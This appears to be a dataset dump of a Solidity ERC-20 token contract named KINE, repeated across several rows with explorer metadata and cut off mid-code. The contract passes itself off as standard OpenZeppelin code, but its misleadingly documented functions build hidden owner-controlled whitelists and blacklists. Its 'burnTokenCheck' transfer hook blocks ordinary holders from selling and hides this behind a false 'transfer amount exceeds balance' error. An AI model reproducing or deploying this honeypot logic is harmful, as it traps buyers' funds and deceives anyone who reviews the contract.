*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
4713,
5043
]
} | 11,729 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
5447,
5738
]
} | 11,730 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
6236,
6384
]
} | 11,731 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
